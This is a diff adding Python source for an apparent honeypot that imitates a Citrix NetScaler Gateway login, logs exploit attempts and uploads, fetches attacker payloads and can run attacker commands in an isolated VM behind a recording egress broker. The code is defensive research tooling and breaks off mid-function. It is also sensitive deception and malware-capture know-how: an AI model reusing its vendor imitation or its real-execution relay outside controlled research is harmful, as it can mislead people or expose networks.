|
else:
|
||||||
|
try:
|
||||||
|
self.engine.emit('handler_error', peer=address[0], peer_port=address[1], error=type(error).__name__)
|
||||||
|
except EvidenceError as failure:
|
||||||
|
self.stop_capture(failure)
|
||||||
|
|
||||||
|
def stop_capture(self, error):
|
||||||
|
if self.capture_failed:
|
||||||
|
return
|
||||||
|
self.capture_failed = True
|
||||||
|
if self.engine.backend:
|
||||||
|
try:
|
||||||
|
self.engine.backend.close(trip=True)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
print(f'CAPTURE STOPPED: {error}', file=sys.stderr, flush=True)
|
||||||
|
threading.Thread(target=self.shutdown, daemon=True).start()
|
||||||
|
|
||||||
|
|
||||||
|
class Handler(http.server.BaseHTTPRequestHandler):
|
||||||
|
server_version = 'Apache'
|
||||||
|
sys_version = ''
|
||||||
|
protocol_version = 'HTTP/1.1'
|
||||||
|
|
||||||
|
def version_string(self):
|
||||||
|
return self.server_version
|
||||||
|
|
||||||
|
def log_message(self, format, *args):
|
||||||
|
self.event('http_diagnostic', message=format % args)
|
||||||
|
|
||||||
|
def event(self, event, **data):
|
||||||
|
self.server.engine.emit(event, **self.context, **data)
|
||||||
|
|
||||||
|
def handle_one_request(self):
|
||||||
|
self.context = dict(request_id=secrets.token_hex(16), peer=self.client_address[0],
|
||||||
|
peer_port=self.client_address[1],
|
||||||
|
local_ip=self.connection.getsockname()[0],
|
||||||
|
local_port=self.connection.getsockname()[1])
|
||||||
|
self.status = None
|
||||||
|
self.body_complete = False
|
||||||
|
self.started = time.monotonic_ns()
|
||||||
|
original = self.rfile
|
||||||
|
recorder = RecordingReader(original, MAX_BODY + 131072)
|
||||||
|
self.rfile = recorder
|
||||||
|
try:
|
||||||
|
self.event('connection', tls=isinstance(self.connection, ssl.SSLSocket),
|
||||||
|
tls_cipher=self.connection.cipher() if isinstance(self.connection, ssl.SSLSocket) else None)
|
||||||
|
super().handle_one_request()
|
||||||
|
except EvidenceError:
|
||||||
|
raise
|
||||||
|
except (TimeoutError, ConnectionError, OSError) as error:
|
||||||
|
self.event('request_interrupted', reason=type(error).__name__)
|
||||||
|
finally:
|
||||||
|
self.rfile = original
|
||||||
|
self.event('request_end', status=self.status,
|
||||||
|
duration_ms=(time.monotonic_ns() - self.started) / 1e6,
|
||||||
|
body_complete=self.body_complete, wire_truncated=recorder.truncated,
|
||||||
|
content=bytes(recorder.data),
|
||||||
|
capture_scope='consumed HTTP bytes after TLS; unread/rejected bytes not captured')
|
||||||
|
|
||||||
|
def send_response(self, code, message=None):
|
||||||
|
self.status = code
|
||||||
|
super().send_response(code, message)
|
||||||
|
|
||||||
|
def send_error(self, code, message=None, explain=None):
|
||||||
|
self.event('http_rejected', status=code, reason=message or self.responses.get(code, ('',))[0])
|
||||||
|
super().send_error(code, message, explain)
|
||||||
|
|
||||||
|
def __getattr__(self, name):
|
||||||
|
if name.startswith('do_'):
|
||||||
|
return self.handle_decoy
|
||||||
|
raise AttributeError(name)
|
||||||
|
|
||||||
|
def read_bytes(self, size):
|
||||||
|
chunks = bytearray()
|
||||||
|
while len(chunks) < size:
|
||||||
|
if time.monotonic_ns() - self.started > 30 * 10**9:
|
||||||
|
raise ValueError('request duration limit')
|
||||||
|
data = self.rfile.read1(min(65536, size - len(chunks)))
|
||||||
|
if not data:
|
||||||
|
raise ValueError('incomplete request body')
|
||||||
|
chunks.extend(data)
|
||||||
|
return bytes(chunks)
|
||||||
|
|
||||||
|
def read_body(self):
|
||||||
|
lengths = self.headers.get_all('Content-Length', [])
|
||||||
|
transfers = self.headers.get_all('Transfer-Encoding', [])
|
||||||
|
if len(lengths) > 1 or len(transfers) > 1 or (lengths and transfers):
|
||||||
|
raise ValueError('ambiguous body framing')
|
||||||
|
if transfers:
|
||||||
|
if transfers[0].lower().strip() != 'chunked':
|
||||||
|
raise ValueError('unsupported transfer encoding')
|
||||||
|
body = bytearray()
|
||||||
|
for _ in range(4096):
|
||||||
|
line = self.rfile.readline(1025)
|
||||||
|
if len(line) > 1024 or not line.endswith(b'\r\n'):
|
||||||
|
raise ValueError('invalid chunk header')
|
||||||
|
size_text = line.split(b';', 1)[0].strip()
|
||||||
|
if not re.fullmatch(rb'[0-9a-fA-F]+', size_text):
|
||||||
|
raise ValueError('invalid chunk size')
|
||||||
|
size = int(size_text, 16)
|
||||||
|
if len(body) + size > MAX_BODY:
|
||||||
|
raise OverflowError('body limit')
|
||||||
|
if size == 0:
|
||||||
|
trailers = bytearray()
|
||||||
|
while len(trailers) <= 32768:
|
||||||
|
line = self.rfile.readline(1025)
|
||||||
|
trailers.extend(line)
|
||||||
|
if line == b'\r\n':
|
||||||
|
self.event('request_trailers', content=bytes(trailers))
|
||||||
|
return bytes(body)
|
||||||
|
if not line or len(line) > 1024:
|
||||||
|
break
|
||||||
|
raise ValueError('invalid trailers')
|
||||||
|
body.extend(self.read_bytes(size))
|
||||||
|
if self.read_bytes(2) != b'\r\n':
|
||||||
|
raise ValueError('invalid chunk terminator')
|
||||||
|
raise ValueError('chunk count limit')
|
||||||
|
length = int(lengths[0]) if lengths else 0
|
||||||
|
if length < 0:
|
||||||
|
raise ValueError('negative content length')
|
||||||
|
if length > MAX_BODY:
|
||||||
|
raise OverflowError('body limit')
|
||||||
|
return self.read_bytes(length)
|
||||||
|
|
||||||
|
def capture_body(self, body):
|
||||||
|
self.event('request_body', content=body, content_type=self.headers.get('Content-Type', ''))
|
||||||
|
kind = self.headers.get_content_type()
|
||||||
|
if kind == 'multipart/form-data':
|
||||||
|
raw_type = self.headers.get('Content-Type', '')
|
||||||
|
# MIME parsing only: never use a supplied filename as a host path.
|
||||||
|
message = email.parser.BytesParser(policy=email.policy.default).parsebytes(
|
||||||
|
('Content-Type: ' + raw_type + '\r\nMIME-Version: 1.0\r\n\r\n').encode('latin1') + body)
|
||||||
|
if not message.is_multipart():
|
||||||
|
self.event('multipart_parse_error', reason='not multipart; raw body retained')
|
||||||
|
return []
|
||||||
|
fields = []
|
||||||
|
for index, part in enumerate(message.walk()):
|
||||||
|
if index >= 128:
|
||||||
|
self.event('limit', resource='multipart_parts', raw_body_retained=True)
|
||||||
|
break
|
||||||
|
if part.is_multipart():
|
||||||
|
continue
|
||||||
|
payload = part.get_payload(decode=True) or b''
|
||||||
|
filename = part.get_filename()
|
||||||
|
field = part.get_param('name', header='content-disposition')
|
||||||
|
self.event('upload' if filename is not None else 'multipart_field',
|
||||||
|
filename=filename, field=field, content_type=part.get_content_type(),
|
||||||
|
defects=[type(d).__name__ for d in part.defects], content=payload)
|
||||||
|
if filename is not None and self.server.engine.backend:
|
||||||
|
self.server.engine.backend.upload(payload, self.context)
|
||||||
|
if filename is None and len(payload) <= 65536:
|
||||||
|
fields.append((field or '', payload.decode('utf-8', 'replace')))
|
||||||
|
return fields
|
||||||
|
if kind == 'application/x-www-form-urlencoded':
|
||||||
|
if len(body) > 65536:
|
||||||
|
self.event('limit', resource='form_decoding', raw_body_retained=True)
|
||||||
|
return []
|
||||||
|
try:
|
||||||
|
fields = urllib.parse.parse_qsl(body.decode('utf-8', 'replace'), max_num_fields=128)
|
||||||
|
self.event('form_fields', fields=fields)
|
||||||
|
return fields
|
||||||
|
except ValueError:
|
||||||
|
self.event('form_parse_error', raw_body_retained=True)
|
||||||
|
return []
|
||||||
|
if body:
|
||||||
|
self.event('upload_or_raw_payload', filename=None, content=body)
|
||||||
|
if self.server.engine.backend:
|
||||||
|
self.server.engine.backend.upload(body, self.context)
|
||||||
|
return []
|
||||||
|
|
||||||
|
def handle_decoy(self):
|
||||||
|
engine = self.server.engine
|
||||||
|
# Trusted Cloudflare/edge headers only when the connecting hop is a configured proxy.
|
||||||
|
if getattr(self.server.local, 'trusted', False) and self.headers is not None:
|
||||||
|
client, source = forwarded_client(self.headers)
|
||||||
|
if client and client != self.client_address[0]:
|
||||||
|
self.context.update(peer=client, client_ip_source=source,
|
||||||
|
proxy_peer=self.client_address[0])
|
||||||
|
self.client_address = (client, self.client_address[1])
|
||||||
|
with engine.lock:
|
||||||
|
state = engine.session(self.client_address[0])
|
||||||
|
self.context['session'] = state.sid
|
||||||
|
if engine.backend:
|
||||||
|
engine.backend.register_peer(self.client_address[0])
|
||||||
|
self.event('request', method=self.command, uri=self.path, version=self.request_version,
|
||||||
|
headers=list(self.headers.raw_items()))
|
||||||
|
signatures = exploit_signatures(self.path)
|
||||||
|
if signatures:
|
||||||
|
self.event('exploit_attempt', signatures=signatures, uri=self.path)
|
||||||
|
if sum(len(k) + len(v) for k, v in self.headers.items()) > 32768:
|
||||||
|
self.send_error(431)
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
body = self.read_body()
|
||||||
|
except (ValueError, OverflowError) as error:
|
||||||
|
self.send_error(413 if isinstance(error, OverflowError) else 400, str(error))
|
||||||
|
return
|
||||||
|
self.body_complete = True
|
||||||
|
fields = self.capture_body(body)
|
||||||
|
try:
|
||||||
|
url = urllib.parse.urlsplit(self.path)
|
||||||
|
except ValueError:
|
||||||
|
self.send_error(400, 'invalid URL')
|
||||||
|
return
|
||||||
|
auth_fields = {key.lower() for key, _ in fields}
|
||||||
|
if self.command == 'POST' and (url.path.startswith('/nf/auth/') or
|
||||||
|
url.path in ('/vpn/login', '/vpn/login.html', '/cgi/login') or
|
||||||
|
auth_fields.intersection({'passwd', 'password', 'pwd', 'passcode'})):
|
||||||
|
engine.auth_attempt(state, self.context, url.path)
|
||||||
|
vm_read_path = None
|
||||||
|
with engine.lock:
|
||||||
|
candidates = [('uri', urllib.parse.unquote(self.path))]
|
||||||
|
candidates += [('header:' + key, value) for key, value in self.headers.items()]
|
||||||
|
candidates += [('form:' + key, value) for key, value in fields]
|
||||||
|
engine.ingest(state, candidates, self.context)
|
||||||
|
code, data, mime = 200, LOGIN, 'text/html; charset=utf-8'
|
||||||
|
if url.path in STATIC:
|
||||||
|
data, mime = STATIC[url.path]
|
||||||
|
elif url.path.startswith('/nf/auth/'):
|
||||||
|
data = ('<AuthenticateResponse xmlns="http://citrix.com/authentication/response/1">'
|
||||||
|
'<Status>success</Status><Result>more-info</Result>'
|
||||||
|
'<StateContext>' + html.escape(state.sid) + '</StateContext>'
|
||||||
|
'</AuthenticateResponse>').encode()
|
||||||
|
mime = 'application/vnd.citrix.authenticateresponse-1+xml; charset=utf-8'
|
||||||
|
elif url.path not in LOGIN_PATHS:
|
||||||
|
key = posixpath.normpath(WEBROOT + '/' + urllib.parse.unquote(url.path).lstrip('/'))
|
||||||
|
if not self.server.serve_guest_files:
|
||||||
|
code, data = 404, b'Not Found'
|
||||||
|
elif engine.backend and key.startswith(WEBROOT + '/'):
|
||||||
|
vm_read_path = key
|
||||||
|
code, data = 404, b'Not Found'
|
||||||
|
elif key.startswith(WEBROOT + '/') and key in state.files:
|
||||||
|
data = state.files[key].encode()
|
||||||
|
mime = 'text/plain; charset=utf-8'
|
||||||
|
self.event('virtual_file_http_read', path=key, content=data)
|
||||||
|
else:
|
||||||
|
code, data = 404, b'Not Found'
|
||||||
|
if vm_read_path:
|
||||||
|
result = engine.backend.read(vm_read_path, self.context)
|
||||||
|
if result is not None:
|
||||||
|
code, data, mime = 200, result, 'text/plain; charset=utf-8'
|
||||||
|
# Headers shaped like the real NetScaler Gateway AAA response; HTTP/1.1 keep-alive is default.
|
||||||
|
headers = [('Content-Type', mime), ('Content-Length', str(len(data))),
|
||||||
|
('Cache-Control', 'no-cache, no-store, must-revalidate'),
|
||||||
|
('Pragma', 'no-cache'), ('Expires', '0'),
|
||||||
|
('X-Frame-Options', 'SAMEORIGIN'), ('X-Content-Type-Options', 'nosniff'),
|
||||||
|
('X-XSS-Protection', '1; mode=block'),
|
||||||
|
('Set-Cookie', f'NSC_AAAC={state.sid}; Path=/; Secure; HttpOnly'),
|
||||||
|
('Content-Security-Policy',
|
||||||
|
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; "
|
||||||
|
"img-src 'self' data:; font-src 'self'; frame-ancestors 'self'; "
|
||||||
|
"connect-src 'self' citrixng:// com.citrix.nsgclient:// nsgcepa://; "
|
||||||
|
"report-uri /nscsp_violation/report_uri")]
|
||||||
|
self.event('response', status=code, headers=headers, content=data,
|
||||||
|
body_suppressed=self.command == 'HEAD')
|
||||||
|
self.send_response(code)
|
||||||
|
for key, value in headers:
|
||||||
|
self.send_header(key, value)
|
||||||
|
self.end_headers()
|
||||||
|
if self.command != 'HEAD':
|
||||||
|
self.wfile.write(data)
|
||||||
|
self.event('response_sent', status=code, body_bytes=0 if self.command == 'HEAD' else len(data))
|
||||||
|
|
||||||
|
|
||||||
|
def parse_trusted(spec):
|
||||||
|
"""Split a comma-separated CIDR list; @path reads one CIDR per line from a file."""
|
||||||
|
items = []
|
||||||
|
for raw in (spec or '').split(','):
|
||||||
|
raw = raw.strip()
|
||||||
|
if not raw:
|
||||||
|
continue
|
||||||
|
if raw.startswith('@'):
|
||||||
|
items.extend(line.strip() for line in pathlib.Path(raw[1:]).read_text().splitlines())
|
||||||
|
else:
|
||||||
|
items.append(raw)
|
||||||
|
result = [item for item in items if item and not item.startswith('#')]
|
||||||
|
for item in result:
|
||||||
|
ipaddress.ip_network(item, strict=False)
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
load()
|
||||||
|
parser = argparse.ArgumentParser(description=__doc__)
|
||||||
|
parser.add_argument('--hide-guest-files', action='store_true', help='serve only fixed NetScaler UI/auth routes over HTTP')
|
||||||
|
parser.add_argument('--vm-config', default=os.environ.get('DECOY_VM_CONFIG') or None,
|
||||||
|
help='opt-in dedicated disposable guest SSH configuration')
|
||||||
|
parser.add_argument('--allow-real-execution', action='store_true',
|
||||||
|
help='required with --vm-config; real attacker commands then run in the isolated guest')
|
||||||
|
parser.add_argument('--bind', default=os.environ.get('HONEYPOT_BIND', '127.0.0.1'))
|
||||||
|
parser.add_argument('--port', type=int, default=env_int('HONEYPOT_PORT', 8443))
|
||||||
|
parser.add_argument('--cert')
|
||||||
|
parser.add_argument('--key')
|
||||||
|
parser.add_argument('--proxy-protocol-from', default=os.environ.get('HONEYPOT_PROXY_PROTOCOL_FROM') or None,
|
||||||
|
help='require PROXY v1 only from this exact trusted transport IP')
|
||||||
|
parser.add_argument('--trusted-forwarded-from', default=os.environ.get('HONEYPOT_TRUSTED_FORWARDED_FROM') or None,
|
||||||
|
help='comma-separated CIDRs whose CF-Connecting-IP/X-Forwarded-For headers are trusted')
|
||||||
|
parser.add_argument('--fetch-payloads', action='store_true',
|
||||||
|
help='download payload URLs from attacker commands (HTTP GET only; never executed)')
|
||||||
|
parser.add_argument('--delay', type=float, default=1,
|
||||||
|
help='simulated log processing delay in seconds (real appliance may take 24h)')
|
||||||
|
parser.add_argument('--log-dir', default=os.environ.get('HONEYPOT_LOG_DIR', str(pathlib.Path(__file__).parent / 'logs')))
|
||||||
|
parser.add_argument('--evidence-mib', type=int, default=env_int('HONEYPOT_EVIDENCE_MIB', 1024),
|
||||||
|
help='total evidence quota; stop rather than overwrite at this limit')
|
||||||
|
args = parser.parse_args()
|
||||||
|
if bool(args.cert) != bool(args.key) or not 0 <= args.delay <= 86400 or args.evidence_mib < 1:
|
||||||
|
parser.error('provide both cert/key; delay must be 0..86400; evidence-mib must be positive')
|
||||||
|
if args.vm_config and not args.allow_real_execution:
|
||||||
|
parser.error('--vm-config requires --allow-real-execution; keep internet-facing listeners in simulation mode')
|
||||||
|
if args.allow_real_execution and not args.vm_config:
|
||||||
|
parser.error('--allow-real-execution requires --vm-config')
|
||||||
|
os.umask(0o077)
|
||||||
|
directory = pathlib.Path(args.log_dir)
|
||||||
|
evidence = Evidence(directory, args.evidence_mib * 1024 * 1024)
|
||||||
|
context = None
|
||||||
|
if args.cert:
|
||||||
|
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
||||||
|
context.load_cert_chain(args.cert, args.key)
|
||||||
|
engine = Engine(evidence.emit, args.delay, evidence.save)
|
||||||
|
try:
|
||||||
|
server = Server((args.bind, args.port), engine, context, args.proxy_protocol_from,
|
||||||
|
serve_guest_files=not args.hide_guest_files,
|
||||||
|
trusted_forwarded=parse_trusted(args.trusted_forwarded_from))
|
||||||
|
except (OSError, ValueError) as error:
|
||||||
|
parser.error(f'invalid --trusted-forwarded-from: {error}')
|
||||||
|
if args.fetch_payloads:
|
||||||
|
from payload_fetch import Fetcher
|
||||||
|
engine.fetcher = Fetcher(engine.emit, on_failure=server.stop_capture)
|
||||||
|
if args.vm_config:
|
||||||
|
from vm_backend import VMBackend
|
||||||
|
engine.backend = VMBackend(args.vm_config, engine.emit)
|
||||||
|
engine.backend.on_failure = server.stop_capture
|
||||||
|
stopping = threading.Event()
|
||||||
|
def worker():
|
||||||
|
while not stopping.wait(0.25):
|
||||||
|
try:
|
||||||
|
engine.tick()
|
||||||
|
except EvidenceError as error:
|
||||||
|
server.stop_capture(error)
|
||||||
|
break
|
||||||
|
threading.Thread(target=worker, daemon=True).start()
|
||||||
|
engine.emit('start', mode='disposable_vm' if engine.backend else 'simulation', bind=args.bind, port=server.server_port,
|
||||||
|
delay=args.delay, evidence_quota_bytes=evidence.quota, max_body_bytes=MAX_BODY,
|
||||||
|
serve_guest_files=server.serve_guest_files, real_execution=bool(engine.backend),
|
||||||
|
payload_fetch=bool(engine.fetcher))
|
||||||
|
if engine.backend:
|
||||||
|
print('WARNING: real execution enabled; attacker commands run only in the isolated disposable guest',
|
||||||
|
file=sys.stderr, flush=True)
|
||||||
|
if engine.fetcher:
|
||||||
|
print('Payload fetch enabled: attacker URLs are downloaded (HTTP GET only, never executed)',
|
||||||
|
file=sys.stderr, flush=True)
|
||||||
|
print(f"Decoy: {'https' if context else 'http'}://{args.bind}:{server.server_port}; logs: {directory}", flush=True)
|
||||||
|
try:
|
||||||
|
server.serve_forever()
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
pass
|
||||||
|
finally:
|
||||||
|
stopping.set()
|
||||||
|
if engine.backend:
|
||||||
|
engine.backend.close()
|
||||||
|
server.server_close()
|
||||||
|
evidence.close()
|
||||||
|
if server.capture_failed:
|
||||||
|
raise SystemExit(1)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
@@ -0,0 +1,67 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""TCP forwarding with trusted PROXY v1 metadata, before any TLS bytes."""
|
||||||
|
import argparse
|
||||||
|
import asyncio
|
||||||
|
import ipaddress
|
||||||
|
import os
|
||||||
|
|
||||||
|
from env_file import load, env_int
|
||||||
|
|
||||||
|
|
||||||
|
async def forward(reader, writer, target_host, target_port):
|
||||||
|
upstream = None
|
||||||
|
try:
|
||||||
|
peer = writer.get_extra_info('peername')
|
||||||
|
local = writer.get_extra_info('sockname')
|
||||||
|
family = 'TCP6' if ipaddress.ip_address(peer[0]).version == 6 else 'TCP4'
|
||||||
|
remote, upstream = await asyncio.wait_for(asyncio.open_connection(target_host, target_port), 5)
|
||||||
|
upstream.write(f'PROXY {family} {peer[0]} {local[0]} {peer[1]} {local[1]}\r\n'.encode('ascii'))
|
||||||
|
await upstream.drain()
|
||||||
|
async def copy(source, destination):
|
||||||
|
while data := await asyncio.wait_for(source.read(65536), 60):
|
||||||
|
destination.write(data)
|
||||||
|
await asyncio.wait_for(destination.drain(), 10)
|
||||||
|
if destination.can_write_eof():
|
||||||
|
destination.write_eof()
|
||||||
|
await asyncio.wait_for(asyncio.gather(copy(reader, upstream), copy(remote, writer)), 120)
|
||||||
|
except (OSError, asyncio.TimeoutError):
|
||||||
|
pass
|
||||||
|
finally:
|
||||||
|
if upstream:
|
||||||
|
upstream.close()
|
||||||
|
writer.close()
|
||||||
|
|
||||||
|
|
||||||
|
async def serve(args):
|
||||||
|
active = set()
|
||||||
|
allowed = [ipaddress.ip_network(item.strip(), strict=False)
|
||||||
|
for item in (args.allow_from or '').split(',') if item.strip()]
|
||||||
|
|
||||||
|
def permitted(peer):
|
||||||
|
return not allowed or any(ipaddress.ip_address(peer[0]) in network for network in allowed)
|
||||||
|
|
||||||
|
async def accept(reader, writer):
|
||||||
|
if len(active) >= 64 or not permitted(writer.get_extra_info('peername')):
|
||||||
|
writer.close()
|
||||||
|
return
|
||||||
|
task = asyncio.current_task()
|
||||||
|
active.add(task)
|
||||||
|
try:
|
||||||
|
await forward(reader, writer, args.target, args.target_port)
|
||||||
|
finally:
|
||||||
|
active.discard(task)
|
||||||
|
server = await asyncio.start_server(accept, args.bind, args.port, limit=65536)
|
||||||
|
async with server:
|
||||||
|
await server.serve_forever()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
load()
|
||||||
|
parser = argparse.ArgumentParser(description=__doc__)
|
||||||
|
parser.add_argument('--bind', default=os.environ.get('INGRESS_BIND', '127.0.0.1'))
|
||||||
|
parser.add_argument('--port', type=int, default=env_int('INGRESS_PORT', 18443))
|
||||||
|
parser.add_argument('--target', default=os.environ.get('INGRESS_TARGET', '127.0.0.1'))
|
||||||
|
parser.add_argument('--target-port', type=int, default=env_int('INGRESS_TARGET_PORT', 19443))
|
||||||
|
parser.add_argument('--allow-from', default=os.environ.get('INGRESS_ALLOW_FROM', ''),
|
||||||
|
help='comma-separated CIDRs allowed to connect (empty = any)')
|
||||||
|
asyncio.run(serve(parser.parse_args()))
|
||||||
@@ -0,0 +1,289 @@
|
|||||||
|
"""Bounded, recording TCP egress broker and Linux transparent guest relay.
|
||||||
|
|
||||||
|
Guest metadata is untrusted. The outside broker makes all destination decisions.
|
||||||
|
No TLS interception: encrypted stream bytes remain encrypted evidence.
|
||||||
|
"""
|
||||||
|
import argparse
|
||||||
|
import ipaddress
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import pathlib
|
||||||
|
import select
|
||||||
|
import socket
|
||||||
|
import socketserver
|
||||||
|
import stat
|
||||||
|
import struct
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
import uuid
|
||||||
|
|
||||||
|
from evidence import Evidence
|
||||||
|
|
||||||
|
MAX_STREAM = 16 * 1024 * 1024
|
||||||
|
TTL = 600
|
||||||
|
STOP = pathlib.Path('/var/lib/decoy/STOP')
|
||||||
|
|
||||||
|
|
||||||
|
def public_ip(value):
|
||||||
|
ip = ipaddress.IPv4Address(value)
|
||||||
|
if not ip.is_global or ip.is_multicast or ip.is_reserved:
|
||||||
|
raise ValueError('destination is not public unicast IPv4')
|
||||||
|
return str(ip)
|
||||||
|
|
||||||
|
|
||||||
|
def read_message(sock):
|
||||||
|
data = bytearray()
|
||||||
|
while len(data) < 4096:
|
||||||
|
char = sock.recv(1)
|
||||||
|
if char == b'\n':
|
||||||
|
message = json.loads(data)
|
||||||
|
if not isinstance(message, dict):
|
||||||
|
raise ValueError('expected object')
|
||||||
|
return message
|
||||||
|
if not char:
|
||||||
|
raise ValueError('incomplete request')
|
||||||
|
data.extend(char)
|
||||||
|
raise ValueError('request too large')
|
||||||
|
|
||||||
|
|
||||||
|
def send_message(sock, value):
|
||||||
|
sock.sendall(json.dumps(value, separators=(',', ':')).encode() + b'\n')
|
||||||
|
|
||||||
|
|
||||||
|
def allowed_peers(path):
|
||||||
|
try:
|
||||||
|
fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK)
|
||||||
|
with os.fdopen(fd, 'rb') as stream:
|
||||||
|
info = os.fstat(stream.fileno())
|
||||||
|
if not stat.S_ISREG(info.st_mode) or info.st_uid != 0 or info.st_mode & 0o022 or time.time() - info.st_mtime > 3600:
|
||||||
|
return set()
|
||||||
|
data = stream.read(65537)
|
||||||
|
if len(data) > 65536:
|
||||||
|
return set()
|
||||||
|
peers = json.loads(data)
|
||||||
|
if not isinstance(peers, list):
|
||||||
|
return set()
|
||||||
|
result = set()
|
||||||
|
for peer in peers:
|
||||||
|
try:
|
||||||
|
if isinstance(peer, str):
|
||||||
|
result.add(public_ip(peer))
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
return result
|
||||||
|
except (OSError, ValueError, TypeError):
|
||||||
|
return set()
|
||||||
|
|
||||||
|
|
||||||
|
def pipe(left, right, record=None, stopped=lambda: False):
|
||||||
|
"""Preserve chunk ordering; record before forwarding, including binary bytes."""
|
||||||
|
streams = {left: (right, 'guest_to_remote'), right: (left, 'remote_to_guest')}
|
||||||
|
deadline, total, sequence = time.monotonic() + TTL, 0, 0
|
||||||
|
while streams:
|
||||||
|
if stopped():
|
||||||
|
return 'capture_stopped', total
|
||||||
|
if time.monotonic() >= deadline:
|
||||||
|
return 'lifetime_limit', total
|
||||||
|
ready, _, _ = select.select(list(streams), [], [], max(0, min(1, deadline - time.monotonic())))
|
||||||
|
for source in ready:
|
||||||
|
target, direction = streams[source]
|
||||||
|
data = source.recv(min(16384, MAX_STREAM - total + 1))
|
||||||
|
if not data:
|
||||||
|
target.shutdown(socket.SHUT_WR)
|
||||||
|
del streams[source]
|
||||||
|
continue
|
||||||
|
if total + len(data) > MAX_STREAM:
|
||||||
|
if record:
|
||||||
|
record(sequence, direction, data, forwarded=False)
|
||||||
|
return 'byte_limit', total
|
||||||
|
if record:
|
||||||
|
record(sequence, direction, data, forwarded=True)
|
||||||
|
sequence += 1
|
||||||
|
target.sendall(data)
|
||||||
|
total += len(data)
|
||||||
|
return 'eof', total
|
||||||
|
|
||||||
|
|
||||||
|
class Server(socketserver.ThreadingTCPServer):
|
||||||
|
allow_reuse_address = True
|
||||||
|
daemon_threads = True
|
||||||
|
|
||||||
|
def __init__(self, address, handler, **settings):
|
||||||
|
self.__dict__.update(settings)
|
||||||
|
self.slots = threading.BoundedSemaphore(32)
|
||||||
|
self.failed = threading.Event()
|
||||||
|
super().__init__(address, handler)
|
||||||
|
|
||||||
|
def process_request(self, request, address):
|
||||||
|
if self.failed.is_set() or STOP.exists() or not self.slots.acquire(False):
|
||||||
|
request.close()
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
super().process_request(request, address)
|
||||||
|
except BaseException:
|
||||||
|
self.slots.release()
|
||||||
|
raise
|
||||||
|
|
||||||
|
def process_request_thread(self, request, address):
|
||||||
|
try:
|
||||||
|
super().process_request_thread(request, address)
|
||||||
|
finally:
|
||||||
|
self.slots.release()
|
||||||
|
|
||||||
|
|
||||||
|
class Broker(socketserver.BaseRequestHandler):
|
||||||
|
def fail(self):
|
||||||
|
self.server.failed.set()
|
||||||
|
STOP.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
STOP.touch(mode=0o600, exist_ok=True)
|
||||||
|
|
||||||
|
def event(self, kind, **data):
|
||||||
|
if self.server.failed.is_set() or STOP.exists():
|
||||||
|
raise OSError('evidence failed')
|
||||||
|
try:
|
||||||
|
self.server.evidence.emit(kind, connection_id=self.cid, reported_guest=self.client_address[0], **data)
|
||||||
|
except OSError:
|
||||||
|
self.fail()
|
||||||
|
raise
|
||||||
|
|
||||||
|
def chunk(self, sequence, direction, data, forwarded):
|
||||||
|
try:
|
||||||
|
blob = self.server.evidence.save(data)
|
||||||
|
self.event('network_chunk', sequence=sequence, direction=direction, forwarded=forwarded, **blob)
|
||||||
|
except OSError:
|
||||||
|
self.fail()
|
||||||
|
raise
|
||||||
|
|
||||||
|
def handle(self):
|
||||||
|
self.cid = uuid.uuid4().hex
|
||||||
|
self.request.settimeout(10)
|
||||||
|
connected = False
|
||||||
|
try:
|
||||||
|
message = read_message(self.request)
|
||||||
|
self.event('network_request', untrusted_request=message)
|
||||||
|
if message.get('op') == 'dns':
|
||||||
|
name = message.get('name')
|
||||||
|
if not isinstance(name, str) or len(name) > 253 or not all(c.isascii() and (c.isalnum() or c in '.-') for c in name):
|
||||||
|
raise ValueError('invalid DNS name')
|
||||||
|
addresses = set()
|
||||||
|
for answer in socket.getaddrinfo(name, None, socket.AF_INET, socket.SOCK_STREAM):
|
||||||
|
try:
|
||||||
|
addresses.add(public_ip(answer[4][0]))
|
||||||
|
except ValueError:
|
||||||
|
pass
|
||||||
|
answers = sorted(addresses)[:16]
|
||||||
|
self.event('dns_result', name=name, addresses=answers)
|
||||||
|
send_message(self.request, {'ok': True, 'addresses': answers})
|
||||||
|
return
|
||||||
|
if message.get('op') != 'connect':
|
||||||
|
raise ValueError('unknown operation')
|
||||||
|
ip = public_ip(message.get('ip'))
|
||||||
|
port = message.get('port')
|
||||||
|
if type(port) is not int or not 1 <= port <= 65535:
|
||||||
|
raise ValueError('invalid port')
|
||||||
|
if port not in (80, 443) and ip not in allowed_peers(self.server.peers):
|
||||||
|
raise ValueError('port requires registered attacker peer')
|
||||||
|
# Numeric IP only: DNS cannot rebind between policy and connect.
|
||||||
|
with socket.create_connection((ip, port), timeout=10) as remote:
|
||||||
|
self.event('network_connected', destination_ip=ip, destination_port=port)
|
||||||
|
send_message(self.request, {'ok': True, 'connection_id': self.cid})
|
||||||
|
connected = True
|
||||||
|
reason, count = pipe(self.request, remote, self.chunk, lambda: self.server.failed.is_set() or STOP.exists())
|
||||||
|
self.event('network_end', reason=reason, bytes=count)
|
||||||
|
except (OSError, ValueError, TypeError) as exc:
|
||||||
|
try:
|
||||||
|
self.event('network_closed', reason=str(exc)[:300])
|
||||||
|
if not connected:
|
||||||
|
send_message(self.request, {'ok': False, 'error': 'connection denied or ended'})
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class Relay(socketserver.BaseRequestHandler):
|
||||||
|
def handle(self):
|
||||||
|
self.request.settimeout(10)
|
||||||
|
try:
|
||||||
|
original = self.request.getsockopt(socket.SOL_IP, 80, 16) # Linux SO_ORIGINAL_DST
|
||||||
|
port = struct.unpack('!H', original[2:4])[0]
|
||||||
|
ip = socket.inet_ntoa(original[4:8])
|
